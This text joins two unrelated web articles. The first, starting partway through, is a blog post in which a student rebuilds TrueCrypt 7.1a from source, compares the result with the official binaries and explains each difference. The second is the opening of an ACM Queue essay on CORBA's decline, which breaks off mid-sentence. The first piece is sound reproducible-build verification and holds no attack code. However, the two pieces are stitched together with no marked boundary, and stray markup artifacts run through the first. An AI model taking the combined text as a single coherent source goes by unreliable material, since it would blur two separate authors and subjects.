Filename: TrueCrypt 7.1a Source.zip MD5: 3ca3617ab193af91e25685015dc5e560
SHA1: 4baa4660bf9369d6eeaeb63426768b74f77afdf2

In order to verify the PGP signature of the binary, I use Gpg4win 2**.** 2.1 .
Download and install it to follow the instructions below, or verify the
signature with your favorite software**.**

  1. After the installation, launch Kleopatra**.**
  2. Import the .asc file in the keyring \(File > Import certificates\)**.**
  3. Now you should mark the key as trusted: right click on the _TrueCrypt Foundation_ public key in the list under Imported Certificate tab > Change Owner Trust, and set it as _I believe checks are casual_**.**  
You should also generate your own key pair to sign this key in order to show
you really trust it and get a nice confirmation when verifying the binary**.**

    1. Go to File > New Certificate, choose OpenPGP key pair and follow the instructions \(no need to provide true data here\)**.**
    2. Put any passphrase and remember it**.** Finally, no need to backup or send your key to a server**.**
    3. Once you have your keys, right click again on TrueCrypt's public key and choose Certify Certificate**.**
    4. Check _TrueCrypt Foundation_ , look at the fingerprint given and compare it with the one shown on TrueCrypt's website \(http://www.truecrypt.org/downloads2 \): they should be the same**.**
    5. If they are the same, check the box I have verified the fingerprint, click Next and Certify**.**
    6. Enter your passphrase to use your private key to sign TrueCrypt's key**.**
  4. Now, to verify the binary signature, go to File > Decrypt/Verify files..**.** and choose _TrueCrypt Setup 7.1a.exe.sig_ that you downloaded before**.** The signed data field should point to the binary to verify \(_TrueCrypt Setup 7**.** 1a.exe_\).
  5. Click Decrypt/Verify: You should see a nice green label saying the signature is valid**.** This means that the _TrueCrypt Setup 7.1a.exe_ file you downloaded is what TrueCrypt Foundation provides on their website and you downloaded that exact binary, as long as you trust their public key you downloaded over HTTPS**.**
<img src='img/Temp2_4025.png' alt='PGP signature over TrueCrypt Setup
7.1a.exe' />

Checking the X.509 signature is more trivial:

  1. Right click on the executable, go to Digital Signatures**.**
  2. Select _TrueCrypt Foundation_ in the list, click on Details
  3. You should see _This digital signature is OK_**.** Now, you can trust this binary if you trust VerySign, a popular certificate authority, and its public key that is embedded in your OS**.**
<img src='img/Temp2_4021.png' alt='X.509 signature over TrueCrypt Setup
7.1a.exe' />

Now we are pretty sure that we are in possession of the official binaries to
be compared to our build**.**

### 2\. Download the prerequisites****

In the sources, the Readme file specifies the following list of software to
have on your system in order to compile TrueCrypt:

  * Microsoft Visual C++ 2008 SP1 \(Professional Edition or compatible\)
  * Microsoft Visual C++ 1**.** 52 \(available from MSDN Subscriber Downloads\)
  * Microsoft Windows SDK for Windows 7 \(configured for Visual C++\)
  * Microsoft Windows Driver Kit 7**.** 1**.** 0 \(build 7600.16385.1\)
  * RSA Security Inc. PKCS \#11 Cryptographic Token Interface \(Cryptoki\) 2**.** 20 header files
  * NASM assembler 2**.** 08 or compatible
  * gzip compressor

The list is pretty long and some pieces are hard to find, notably Visual C++
1**.** 52 which was released in 1994 and is only available for MSDN
subscribers \(and I'm not\)**.**  
**It is very important to use the same exact version of the compilers and
tools used by the developers because a slight difference can completely change
the output binary \(as I have experienced\), and can lead people to think
TrueCrypt binaries are backdoored**. Also, it is important to install the
right software updates for Visual Studio 2008 SP1: no more, no less than what
the developers had installed**.**  
Let's examine how to gather the prerequisites:

  1. For Microsoft Visual C++ 2008, I downloaded Microsoft Visual Studio 2008 \(VS2008\) Professional from my university's MSDNAA partnership**.** The SP1 is available on Microsoft's website **.**
  2. I found a copy of VC++ 1**.** 52c on vetusware.com . Hopefully, it is trusted**.**
  3. Microsoft Windows SDK for Windows 7 can be download from Microsoft**.** The latest one is named _Microsoft Windows SDK for Windows 7 and .NET Framework 4_ , for which you should have Microsoft .NET Framework 4 installed first**.** The previous version was named _Microsoft Windows SDK for Windows 7 and .NET Framework 3**.** 5 SP1_ and only requires .NET Framework 3**.** 5 SP1. Both are OK to use because TrueCrypt doesn't use .NET Framework anyway**.**  
The ISO file is either _GRMSDK\_EN\_DVD.iso_ for the 32-bit or
_GRMSDKX\_EN\_DVD.iso_ for the 64-bit version**.** Both are fine in our case;
use the one matching your OS's architecture**.**

  4. Microsoft Windows Driver Kit 7**.** 1**.** 0 is also found on Microsoft's website. The filename is _GRMWDK\_EN\_7600\_1.ISO_**.**
  5. The PKCS \#11 header files needed are _pkcs11**.** h_, _pkcs11f.h_ and _pkcs11t.h_ , available at ftp://ftp.rsasecurity.com/pub/pkcs/pkcs-11/v2-20 **.**
  6. NASM 2.08 can be found on the official website **.**
  7. According to this post on stackoverflow.com, gzip for Windows can be found in the gnuwin32 project on SourceForge \(version 1**.** 3.12-1 tested\). A difference in the version used can lead to a different compression algorithm and a different binary**.** Fortunately this version works well for our purpose**.**
  8. dd, although not mentioned in the Readme, is required**.** Some dd for Win32 found on the Internet do not behave correctly during the compilation process \(different arguments are expected and no output is generated\)**.** One compatible version can be found in CoreUtils for Windows **.**

Because TC 7.1a was released on 2012-02-07, and because TrueCrypt's developers
are security-aware and installed their latest security updates \(supposedly,
but this can be verified by installing less updates and getting different
binaries\), we have to install the updates available at that time and not
after**.** After installing VS2008 and the SP1, Microsoft Update indicates
several updates**.** Only the following ones should be installed: KB2538241
\(365**.** 8 MB\), KB971092 \(365.2 MB\), KB972222 \(4**.** 1 MB\), KB973675
\(131.5 MB\). A newer update is available, but couldn't have been installed by
the developers because it has been released a month after TrueCrypt 7**.** 1a
was out.

### 3\. Installing the prerequisites****

This paragraph is directly taken and adapted from TC's Readme file**.**

  * **Microsoft Visual Studio 2008** : Install it with the default configuration**.** Once finished, install the SP1**.** Once finished, install the 4 updates one by one.
  * **Microsoft Visual C++ 1**.52c: Unzip the _MSVC15_ folder from _Microsoft - Visual C++ 1**.** 52c - Installation CD.zip_ to C:\, so you have C:\MSVC15**.** Then, create an environment variable 'MSVC16\_ROOT' pointing to that directory**.**  
On Windows 7: Go to Control Panel > System > Advanced system settings > click
Environment Variables..**.** > Under System variables, click New... > Put
_MSVC16\_ROOT_ as variable name and _C:\MSVC15_ as value**.**  
Note: The 16-bit installer MSVC15\SETUP.EXE cannot be run on 64-bit Windows,
but it is actually not necessary to run it**.** You only need to extract the
folder 'MSVC15', which contains the 32-bit binaries required to build the
TrueCrypt Boot Loader**.**

  * **Microsoft Windows SDK for Windows 7** : Use installation defaults**.** After installation, you need to switch SDK from version 6 to version 7**.** 1 in Visual Studio. To do this, go to the Start Menu > Microsoft Windows SDK v7**.** 1 > Visual Studio Registration > Windows SDK Configuration Tool > Select v7**.** 1 and press Make Current.
  * **Microsoft Windows Driver Kit 7**.1.0: When installing WDK, only the _Build Environments_ option is of importance for us, you can save some time by selecting this one only**.** Install in the default location \(%SYSTEMDRIVE%\WinDDK\)**.**
  * **PKCS \#11 header files** : Create a folder _PKCS11_ in C:\ and put the 3 header files there**.** Then, create an environment variable 'PKCS11\_INC' pointing to that directory**.**  
On Windows 7: Go to Control Panel > System > Advanced system settings > click
Environment Variables..**.** > Under System variables, click New... > Put
_PKCS11\_INC_ as variable name and _C:\PKCS11_ as value**.**

  * **NASM 2.08** : Install it \(or unzip it\) to C:\nasm. Then, add the installation path to the PATH environment variable**.**  
On Windows 7: Go to Control Panel > System > Advanced system settings > click
Environment Variables..**.** > Under System variables, select the line whose
variable is _Path_ , click Edit..**.** > add a semi-colon \(;\) at the end of
the line then append the installation path \(C:\nasm in this case\)**.**

  * **gzip & dd**: Copy gzip.exe and dd.exe in C:\Windows\System32 for the 32-bit version of Windows, or in C:\Windows\SysWOW64 for the 64-bit version**.**

### 4\. Compiling TrueCrypt****

Setting up the environment was the hardest task**.** Now:

  1. Open the solution file 'TrueCrypt.sln' in Microsoft Visual Studio 2008 \(select Visual C++ Development Settings when opening for the first time\)
  2. Select 'All' as the active solution configuration
  3. Build the solution
  4. If successful, there should be newly built TrueCrypt binaries in the 'Release' folder**.**

Below is my compilation log:

## Comparison with the official binaries****

### Flat comparison****

My compiled files have the following properties:  **Name** | **Size \(B\)** | **MD5** | **SHA1**  
---|---|---|---  
TrueCrypt.exe | 1,508,864 | a34df1c7f1ad4fd9f2eb4ad7e5cf18db | b90e23030ba2370f9aecf186e5548765eab8b93c  
TrueCrypt Format.exe | 1,603,072 | b673d02aab960cad1b42f7dfd92161c3 | 27351c6501797972ad600a3ecd3d7a9594c988b8  
TrueCrypt Setup.exe | 1,058,816 | 0b37078976b7fb2bb3e5cfe13890b945 | ef491a6817201c9d086b8f9e29cd57655c4eb020  
TrueCrypt Setup 7**.** 1a.exe | 3,436,448 | fc611c31f1de30cfcbe4c4956e81f99b | e2c837cfb123f5a61b7526bdcce1d6e1f947303c  
truecrypt.sys | 224,128 | 055241c3e5a21cd8bac65f8163b1b233 | b973a254e971a75b6c893444e4c98938e57386a4  
truecrypt-x64.sys | 223,744 | 4fc3ea4aa4e4d00744ffbb00f86f7a84 | ad84b6c2fd7c2a29c1d541e4e24e8fd534fd839c  
Table 1**.** Files, their size and checksums, from my own build

The original files have the following properties:  **Name** | **Size \(B\)** | **MD5** | **SHA1**  
---|---|---|---  
TrueCrypt.exe | 1,516,496 | fa8f08013422a4eb68072668b3a73293 | 4c4891f5eafcf9b96be01e31031992d9e98d39c3  
TrueCrypt Format.exe | 1,610,704 | 48538c19abe905d22e147b1c25d90880 | 34442e400e6cb2534f33a0b1599defe36eefef2a  
TrueCrypt Setup 7**.** 1a.exe | 3,466,248 | 7a23ac83a0856c352025a6f7c9cc1526 | 7689d038c76bd1df695d295c026961e50e4a62ea  
truecrypt.sys | 231,760 | ed5e4ce36c54f55e7698642e94d32ec7 | 62fc4f76540740e63c7f0a33e3a1b66411f0a303  
truecrypt-x64.sys | 231,376 | 370a6907ddf79532a39319492b1fa38a | 17c46ebc6f4977afbcf4aa11eccee524fd95b1c8  
Table 2**.** Files, their size and checksums, from the original binaries

It should not be expected at this point to have produced the same binaries as
the official ones, for several reasons:

  1. The official binaries are all signed with TrueCrypt certificate, which is impossible to reproduce without being the TrueCrypt's developers**.** We will see a way around for our purpose.
  2. The installer \(_TrueCrypt Setup.exe_\) has to be called with the /p switch to package the binaries inside itself and output a complete installer named _TrueCrypt Setup 7**.** 1a.exe_. The binaries should be signed prior to being packaged to hope reproducing the original installer**.** Above, I packaged my non-signed compiled ones.
  3. Timestamps in the output executables are obviously different from the original ones, this is expected and should be taken into account when simply comparing hashes of the binaries**.**

Someone not aware of these concerns can falsely conclude that all official
binaries are bigger and hence include malicious hidden content**.**

### Understanding the differences****

In order to understand the differences between our compiled binaries and the
original ones, a hexadecimal byte-by-byte comparison helps a lot**.** Below I
analyze all files, one by one.

#### TrueCrypt.exe****

There are three regions where differences can be seen**.** The first region
between the two versions of TrueCrypt.exe is shown in Fig**.** 1\.

<img src='img/Temp2_4018.png' alt='Differences between compiled TrueCrypt.exe
and origial one (1)' />

Fig 1**.** First block of differences between my TrueCrypt.exe \(left\) and
the original one \(right\)

These differences are located in the file header, precisely at file offset
000000F8 corresponding to Time/Date Stamp in COFF/PE file header \(offset 4\);
file offset 00000148 corresponding to a CheckSum in the PE Optional header
\(offset 64\); and file offset 00000188 corresponding to the Certificate Table
in the Optional Data Directories header \(offset 128 of PE Optional
headers\)**.** I used Stud\_PE to analyze the headers**.** Fig. 2 is an
example of details about file offset 000000F8 in the original
TrueCrypt.exe**.**

<img src='img/Temp2_4012.png' />

Fig 2. Stud\_PE pointing at the part of the original TrueCrypt.exe related to
the Time/Date Stamp

According to Microsoft's documentation on Portable Executable and Common
Object File Format Specification , Time/Date Stamp is the time and date the
file was created**.** I -obviously- compiled TrueCrypt at a different time
than the developers, hence this difference is legitimate**.** Then, CheckSum
corresponds to the image file checksum**.** This checksum is different because
our compiled executable has slight differences, resulting in different
checksums. This difference is also legitimate, and only the changes resulting
in such checksums are interesting to analyze**.** Finally, the Certificate
Table contains a field Certificate Data which is a pointer to a certificate
data in the file, and a field Size of Certificate which indicates the size of
the certificate data**.** This table provides information regarding the X.509
signature over the file that is included on the official binaries**.** Because
I do not have certificed binaries, my Certificate Table is all zeros, whereas
the original file points to some certificate data at offset 0x170600 in the
file**.** We will see it matches the third region of differences**.**  
  
Then, the second region of differences is shown in Fig**.** 3, located at
about two thirds of the file.  

<img src='img/Temp2_4013.png' alt='Differences between compiled TrueCrypt.exe
and origial one (2)' />

Fig 3**.** Second block of differences between my TrueCrypt.exe \(left\) and
the original one \(right\)

The interpretation is obvious; it's a time and date difference and what seems
to be also a timestamp difference**.** To be clear about it, let's check it:
the original file contains 0x4F30EA22, which gives 1328605730 in decimal,
which is the timestamp of 2012-02-07 09:08:50 GMT**.** It also reads a date of
'Tue Feb 07 10:08:49 2012' right before, which matches the alleged timestamp
and even gives us the time zone of the compiler's machine: GMT+1 \(mainly
Western Europe\)**.**  
  
Finally, at the end of the file, the third region of differences starts at
0x170600 and shows us that the original file contains more information, which
is completely related to the certificate, as the Certificate Table points to
this location**.** We can safely ignore the presence of the certificate in the
official binaries, because a signature and certificate are normally
harmless**.** Also, Microsoft's documentation indicates that "_These
certificates are not loaded into memory as part of the image**.**_ " This
means that if this section contains malicious code, it has to be loaded by the
program first, which would be seen in the source code**.** However, auditing
the source code is not in our scope \(IsTrueCryptAuditedYet**?** project aims
at it\).  

<img src='img/Temp2_4026.png' alt='Differences between compiled TrueCrypt.exe
and origial one (3)' />

Fig 4**.** Third block of differences between my TrueCrypt.exe \(left\) and
the original one \(right\)

It is to be noted that apart from these three unimportant mismatches
\(timestamps, checksum, presence of certificate\), the rest of the files are
strictly identical**.**

#### TrueCrypt Format.exe****

This file presents the same exact patterns of difference as TrueCrypt.exe**.**
Fig 5. shows the differences present in both TrueCrypt Format.exe**.**  

<img src='img/Temp2_4016.png' alt='Differences between compiled TrueCrypt
Format.exe and origial one (1)' />

<img src='img/Temp2_4029.png' alt='Differences between compiled TrueCrypt
Format.exe and origial one (2)' />

<img src='img/Temp2_4019.png' alt='Differences between compiled TrueCrypt
Format.exe and origial one (3)' />

Fig 5**.** Differences between my TrueCrypt Format.exe \(left\) and the
original one \(right\)

Because we explained the unimportance of these differences in the case of
TrueCrypt.exe, we can conclude that these binaries are also the same**.**

#### truecrypt.sys****

This file is the 32-bit driver that takes care of all features related to the
OS, such as providing virtual disks or supporting full disk encryption or
system partition encryption**.** The number of differences, shown in Fig. 6,
is greater than in the previous executables**.**  

<img src='img/Temp2_4022.png' alt='Differences between compiled truecrypt.sys
and origial one (1)' />

Fig 6**.** Differences between my truecrypt.sys \(left\) and the original one
\(right\)

First of all, the difference at file offset 00000270 corresponds to the
Time/Date Stamp in the headers, as confirmed by Stud\_PE on the original file
in Fig**.** 7\. We already argued why this difference is completely
benign**.** File offsets 0001EA44 and 00034184 show the same timestamp
difference**.**

<img src='img/Temp2_4017.png' />

Fig 7. Stud\_PE highlithing Time/Date Stamp attribute in the original
truecrypt.sys, pointing at offset 00000270

File offset 000002C0 is the Optional PE CheckSum header, which also differs
for the same reason as in the .exe files, namely the file is different so the
checksum is different but it's not important**.** File offset 00000300 is the
Certificate Table difference, which we explained is normal**.** Single-byte
differences at file offsets 00000390, 00006731, 0001EA50 and 0002CBA0, and few
bytes at 00036844 are not exactly clear at this point**.** The end of the
original file contains more information, namely the certificate**.** Also, the
block difference starting at 0002CBAC and ending at 0002CC7F is certainly only
related to the difference in project path**.** The project folder on my
machine was on the desktop while developer's had it apparently in
c:\truecrypt-7**.** 1a. Let's compile the project again after moving the
project directory to the same location as the developers, and see what
happens**.** Comparison from this build with the original file is shown in
Fig**.** 8**.**  

<img src='img/Temp2_4028.png' alt='Differences between compiled truecrypt.sys
and origial one (2)' />

Fig 8**.** Differences between my truecrypt.sys compiled from the same project
directory as the developers \(left\) and the original one \(right\)

Miraculously, all the unexplained single-byte differences are gone**.** Only
the section starting at 0002CBAC remains unclear**.** My guess is that it is
only related to some compilation details and not a difference in the source
code**.** To prove this, let's compare two versions compiled from the same
project directory**.** Results are shown in Fig**.** 9.  

<img src='img/Temp2_4014.png' alt='Differences between two compiled
truecrypt.sys (1)' />

Fig 9**.** Differences between two builds of truecrypt.sys on my system using
the same project directory

Using the same source and same project directory results in the same pattern
of difference in the block starting at 0002CBAC, as the pattern shown between
my build from the correct project directory and the original file**.** This
means that this difference is a normal result of the compilation process, and
can be considered harmless from our point of view**.**  
**_UPDATE_** : As pointed out to me by some readers, these 16 bytes of
differences correspond to the RSDS PDB \(debug\) information , specifically
the GUID \(Globally Unique Identifier\) that is regenerated in each build**.**  
Thus, all differences between my build and the original truecrypt.sys have
been explained**.**

#### truecrypt-x64.sys****

Expecting the same patterns of difference as for the 32-bit driver file, the
analysis of the 64-bit version of the driver is straightforward**.** Let's
start by comparing directly my build from c:\truecrypt-7**.** 1a. Comparison
is shown in Fig**.** 10.  

<img src='img/Temp2_4024.png' alt='Differences between compiled
truecrypt-x64.sys and origial one (1)' />

Fig 10**.** Differences between my truecrypt-x64.sys compiled from the same
project directory as the developers \(left\) and the original one \(right\)

We have indeed the same types of difference, namely, file offsets 000000F8 and
000212E4 are timestamps, 00000140 is for the CheckSum, 00000198 is for the
Certificate Table, from 0002F494 to 0002F4A3 is ~~the benign block \(because
it is different even between two of my own builds\)~~ the GUID in PDB, meant
to change in each build, and from 00036A00 to the end, it is the additional
certificate on the original file**.** Hence, there is no unexplained or
dangerous difference either in the 64-bit version of the driver**.**

#### TrueCrypt Setup 7.1a.exe****

Finally, the installer remains**.** Because the original installer packages
the original signed files, I am going to package the original files with my
compiled installer to avoid painful comparison**.** We already demonstrated
that TrueCrypt.exe, TrueCrypt Format.exe, truecrypt.sys and truecrypt-x64.sys
are the same as the originals, given some room for minute details like
timestamps, checksums or additional certificates**.** After packaging the
original files with my compiled installer, I get an installer of 3,458,614
bytes, again pretty close to the original installer \(3,466,248 bytes\)**.**
Fig**.** 11 shows the comparison between my packaged installer and the
original one**.**  

<img src='img/Temp2_4027.png' alt='Differences between compiled TrueCrypt
Setup 7.1a.exe and origial one (1)' />

Fig 11**.** Differences between my TrueCrypt Setup 7.1a.exe packaging the
original files \(left\) and the original one \(right\)

Again, the usual TimeDateStamp, CheckSum and Certificate Table differ, and the
original installer has a certificate at the end of its file**.** A new
difference occurs at 0034C632 on 4 bytes. It looks like checksum**.** Let's
change the timestamp at 000000F0 from E2 to E3 to see if the difference in
timestamp explains this difference**.** When launching the executable, a popup
occurs saying "This distribution package is damaged", which confirms that the
last 4 bytes are actually a checksum over the whole file before the
certificate**.** Thus, no unexplained differences can be found in the
installer either**.**

### Getting as closely as possible****

In order to relieve some doubts about the additional certificate on all the
original files, we can compare the original files unsigned against my
build**.** Unsigning can be done with some tools, such as delcert or
FileUnsigner \(both produce the same result\)**.** Fig**.** 12-16 are the
closest matches one can get when compiling TrueCrypt to match the official
binaries**.** I use c:\truecrypt-7**.** 1a as the project directory in this
case.  

<img src='img/Temp2_4020.png' alt='Differences between compiled TrueCrypt.exe
and unsigned origial one' />

Fig 12**.** Differences between my TrueCrypt.exe \(left\) and the original one
unsigned \(right\)

<img src='img/Temp2_4015.png' alt='Differences between compiled TrueCrypt
Format.exe and unsigned origial one' />

Fig 13**.** Differences between my TrueCrypt Format.exe \(left\) and the
original one unsigned \(right\)

<img src='img/Temp2_4010.png' alt='Differences between compiled truecrypt.sys
and unsigned origial one' />

Fig 14**.** Differences between my truecrypt.sys \(left\) and the original one
unsigned \(right\)

<img src='img/Temp2_4023.png' alt='Differences between compiled
truecrypt-x64.exe and unsigned origial one' />

Fig 15**.** Differences between my truecrypt-x64.sys \(left\) and the original
one unsigned \(right\)

<img src='img/Temp2_4011.png' alt='Differences between compiled TrueCrypt
Setup 7.1a.exe and unsigned origial one' />

Fig 16**.** Differences between my TrueCrypt Setup 7.1a.exe packaging the
original files \(left\) and the original one unsigned \(right\)

All files match in large portions and differences are understood to be
benign**.** We can **conclude that the official TrueCrypt binaries are indeed
coming from the public sources and do not contain a hidden backdoor not
visible from the sources****.** Of course, we need to trust the compiler , but
in this case, it is independent of TrueCrypt**.**

## Functional comparison****

We saw that compiled binaries are almost the same as the original and only few
unimportant details differ**.** In order to get a 100% match, disassembling my
build and the original files seems to be the ultimate solution**.** Any
differences in the disassembled executables could be analyzed and reverse-
engineered to understand their reason**.** Hopefully, there are not many of
them..**.**  
To disassemble a file, I use objdump available in MinGW-w64 **.** We need
MinGW-w64 and not MinGW because the last one is unable to disassemble the
64-bit driver**.** It can run on 32-bit platform, though. The syntax of the
command is shown below**.** The -d switch is for disassembling while -M intel
is to use Intel instructions \(vs**.** AT&T\).

objdump -d -M intel file.exe > file.asm.exe

Below are the commands I used to disassemble my build and the original files, given the paths explained and used in the above analysis**.** Now, let's compare the disassembled binaries**.** Files size and checksums of my build are reported in the Table 3**.** **Name** | **Size \(B\)** | **MD5** | **SHA1**  
---|---|---|---  
TrueCrypt.exe.asm | 10,050,203 | d84d9529eeef94f10ea64043718d4db4 | 3fbece921cab0c02464834cefb2f6b9f1062a5d2  
TrueCrypt Format.exe.asm | 9,841,926 | 568a41d9d40487b0d69c5c250bcdd8e0 | 98945b1d0c8cd727d99ef11b89ffb7517751819c  
truecrypt.sys.asm | 2,249,768 | 74740de231de78da1d29b1f074d6738f | 78cd0b6a6045210abf64fc9c8bf0871cdde4f20a  
truecrypt-x64.sys.asm | 2,015,137 | 735ddcaf11cf3c57689854d8eec50a49 | 1a929fc19e8f1a5fc4f9e642f490573b7152928c  
TrueCrypt Setup 7**.** 1a.exe.asm | 4,717,188 | 2b2301f52b6cf4ce6911ae04fb8d4021 | b06350262b00d87f444a57d1c58eb288fab896bf  
Table 3**.** Disassembled binaries, their size and checksums, from my own
build

Files size and checksums of the original files are reported in the Table 4**.** **Name** | **Size \(B\)** | **MD5** | **SHA1**  
---|---|---|---  
TrueCrypt.exe.asm | 10,050,203 | d84d9529eeef94f10ea64043718d4db4 | 3fbece921cab0c02464834cefb2f6b9f1062a5d2  
TrueCrypt Format.exe.asm | 9,841,926 | 568a41d9d40487b0d69c5c250bcdd8e0 | 98945b1d0c8cd727d99ef11b89ffb7517751819c  
truecrypt.sys.asm | 2,249,768 | 74740de231de78da1d29b1f074d6738f | 78cd0b6a6045210abf64fc9c8bf0871cdde4f20a  
truecrypt-x64.sys.asm | 2,015,137 | 735ddcaf11cf3c57689854d8eec50a49 | 1a929fc19e8f1a5fc4f9e642f490573b7152928c  
TrueCrypt Setup 7**.** 1a.exe.asm | 4,717,188 | 2b2301f52b6cf4ce6911ae04fb8d4021 | b06350262b00d87f444a57d1c58eb288fab896bf  
Table 4**.** Disassembled binaries, their size and checksums, from the
original binaries

Don't you notice anything**?** Oh, they are identical. This means both
versions are performing the same exact tasks, no single difference**.** One
can be concerned that a different Entry Point into the program can result in a
different behavior**.** This is legitimate, but dangerous behaviors could be
seen from the source, and we did not notice any differences in the file
headers regarding the AddressOfEntryPoint**.** Only the Date/Time Stamp, the
Checksum and the Certificate Table differ \(all understood and legitimate
differences\)**.**

## Conclusion****

Given this analysis, we can conclude that **I compiled TrueCrypt from the
official sources and matched the official binaries** , and everyone who is
able to gather the prerequisites for compiling TrueCrypt the same way as I
did, is able to prove the same thing**.**  
Before reaching this interesting result though, I was suspicious like many
other people**.** I first compiled TrueCrypt with Visual Studio 2010 SP1 with
all updates, and I got significantly different binaries, whose disassembled
versions also differed a lot**.** I then switched to Visual Studio 2008 SP1
with all updates, but I got again significant changes, although less than
compared to the build from VS2010**.** I had to be careful at reproducing the
environment of the developers as close as possible, which made me reinstall
VS2008 with SP1 but only with the post-SP1 updates released before TrueCrypt
7**.** 1a was released. This means I omitted one available update. Only then,
I could achieve an identical build and prove to myself that TrueCrypt is not
backdoored by the developers in a way that is not visible from the
sources**.** People should not take this conclusion for granted and are
encouraged to reproduce this result by themselves**.**  
My analysis can serve the IsTrueCryptAuditedYet to understand the importance
of running the exact same compiler version in order to provide a deterministic
build**.** Fortunately, TrueCrypt sources come with a working Visual Studio
solution ready to compile, and thus relieve lots of problems that can arise
from differences in the project configuration**.** Now, efforts can be focused
on auditing the source code, rather than trying to reverse-engineer the whole
software to search for non-existant backdoors**.**

## Extension****

Now we know version v7**.** 1a is not backdoored between the sources and the
official binaries, what about previous versions**?** Were they backdoored?  
We can prove very easily that version 7**.** 0a was compiled from the provided
sources. Sources and official builds can be found on planet**.** ee with
digital signatures to verify their authenticity, because TrueCrypt's official
website doesn't provide the old sources anymore**.** The prerequisites for
v7**.** 0a are very similar to v7.1a. However, because it was released on
September 2010, we need to uninstall KB2538241 for Visual Studio 2008 which
was released in June 2011**.** From there, all the analysis conducted on v7.1a
applies to v7.0a \(the original project was located in c:\truecrypt-7**.** 0a
based on information in the .sys driver\). Binaries match up to the difference
in timestamps, checksums and additional certificates**.** Disassembled
versions are identical. I didn't analyze v7**.** 1 and v7.0 as they lived a
short life.  
Version 6.3a was another popular version**.** At that time, WDK was at version
7.0.0, so the version 7.1**.** 0 needs to be uninstalled first, then 7.0.0 can
be found on the Web \(not at Microsoft apparently\)**.** NASM was used in
version 2.06, however it fails to compile the 64-bit version of the driver on
my test machine, so I used back version 2**.** 08 which worked fine. No other
VS2008 updates to uninstall, except KB2538241 which wasn't even used for
v7**.** 0a. Once compiled \(the project was located in c:\truecrypt\), the
same analysis can be conducted again on this version and binaries can be
proven to originate from the public source code, as I found myself**.** These
conclusions should relieve many concerns regarding the trustworthiness of
TrueCrypt in general, although only the audit of the source code should be
relied on now**.**

**  
**

_Xavier de Carné de Carnavalet  
Master's student in Information Systems Security at Concordia University,
Canada_

****

# The Rise and Fall of CORBA - ACM Queue

**Created:**| _8/31/2015 12:26:45 PM_  
---|---  
**Updated:**| _8/31/2015 12:26:45 PM_  
**Author:**| __  
**Tags:**| _opinion History_  
  

# The Rise and Fall of CORBA

### There’s a lot we can learn from CORBA’s mistakes.

#### MICHI HENNING, ZeroC

Depending on exactly when one starts counting, CORBA is about 10-15 years old.
During its lifetime, CORBA has moved from being a bleeding-edge technology for
early adopters, to being a popular middleware, to being a niche technology
that exists in relative obscurity. It is instructive to examine why
CORBA—despite once being heralded as the “next-generation technology for
e-commerce”—suffered this fate. CORBA’s history is one that the computing
industry has seen many times, and it seems likely that current middleware
efforts, specifically Web services, will reenact a similar history.

#### A Brief History

In the early ’90s, persuading programs on different machines to talk to each
other was a nightmare, especially if different hardware, operating systems,
and programming languages were involved: programmers either used sockets and
wrote an entire protocol stack themselves or their programs didn’t talk at
all. \(Other early middleware, such as Sun ONC, Apollo NCS, and DCE, was tied
to C and Unix and not suitable for heterogeneous environments.\)

After a false start with CORBA 1.0, which was not interoperable and provided
only a C mapping, the OMG \(Object Management Group\) published CORBA 2.0 in
1997. It provided a standardized protocol and a C++ language mapping, with a
Java language mapping following in 1998. This gave developers a tool that
allowed them to build heterogeneous distributed applications with relative
ease. CORBA rapidly gained popularity and quite a number of mission-critical
applications were built with the technology. CORBA’s future looked rosy
indeed.

During CORBA’s growth phase in the mid- and late ’90s, major changes affected
the computing landscape, most notably, the advent of Java and the Web. CORBA
provided a Java language mapping, but it did nothing to cooperate with the
rapidly exploding Web. Instead of waiting for CORBA to deliver a solution,
companies turned to other technologies and started building their e-commerce
infrastructures based on Web browsers, HTTP, Java, and EJB \(Enterprise
JavaBeans\).

In addition, developers who had gained experience with CORBA found that
writing any nontrivial CORBA application was surprisingly difficult. Many of
the APIs were complex, inconsistent, and downright arcane, forcing the
developer to take care of a lot of detail. In contrast, the simplicity of
component models, such as EJB, made programming a lot simpler \(if less
flexible\), so calls for a CORBA component model became louder and louder. A
component model was a long time in coming, however. Work was started in 1996
on a CBOF \(Common Business Object Facility\), but that effort got bogged down
in political infighting and was eventually abandoned, to be replaced by the
CCM \(CORBA Component Model\). A specification for CCM was finally published
in late 1999 but turned out to be largely a nonevent:

  * The specification was large and complex and much of it had never been implemented, not even as a proof of concept. Reading the document made it clear that CCM was technically immature; sections of it were essentially unimplementable or, if they were implementable, did not provide portability.
  * No commercial CORBA vendor made a commitment to implement CCM, making it a stillborn child.
  * Even if implementations had been available by the time CCM was finally published, it was too late. The horse had already bolted: EJB had become entrenched in the industry to the point where another component technology had no chance of success.

The failure of CCM did little to boost the confidence of CORBA customers, who
were still stuck with their complex technology.

Meanwhile, the industry’s need for middleware was stronger than ever. After
some experience with e-commerce systems that used HTTP, HTML, and CGI, it had
become clear that building distributed systems in this way had serious
limitations. Without a proper type system, applications were reduced to
parsing HTML to extract semantics, which amounted to little more than screen-
scraping. The resulting systems turned out to be very brittle. On the other
hand, EJB had a proper type system but was limited to Java and so not suited
for many situations. There were a few flies in the CORBA ointment, too:

  * Commercial CORBA implementations typically cost several thousand dollars per development seat, plus, in many cases, runtime royalties for each deployed copy of an application. This limited broader acceptance of the platform—for many potential customers, CORBA was simply too expensive.
  * The platform had a steep learning curve and was complex and hard to use correctly, leading to long development times and high defect rates. Early implementations also were often riddled with bugs and suffered from a lack of quality documentation. Companies found it difficult to find the expert CORBA programmers they needed.

Microsoft never embraced CORBA and instead chose to push its own DCOM
\(Distributed Component Object Model\). This kept much of the market either
sitting on the fence or using DCOM instead, but DCOM could not win the
middleware battle either, because it worked only on Windows. \(A port of DCOM
to Unix by Software AG never gained traction.\) Microsoft eventually dropped
DCOM after several failed attempts to make it scale. By that time, the
middleware market was in a very fragmented state, with multiple technologies
competing but none able to capture sufficient mindshare to unify distributed
systems development.

Another important factor in CORBA’s decline was XML. During the late ’90s, XML
had become the new silver bullet of the computing industry: Almost by
definition, if it was XML, it was good. After giving up on DCOM, Microsoft
wasn’t going to leave the worldwide e-commerce market to its competitors and,
rather than fight a battle it could not win, it used XML to create an entirely
new battlefield. In late 1999, the industry saw the publication of SOAP.
Originally developed by Microsoft and DevelopMentor, and then passed to W3C
for standardization, SOAP used XML as the on-the-wire encoding for remote
procedure calls.

SOAP had serious technical shortcomings, but, as a market strategy, it was a
masterstroke. It caused further fragmentation as numerous vendors clambered
for a share of the pie and moved their efforts away from CORBA and toward the
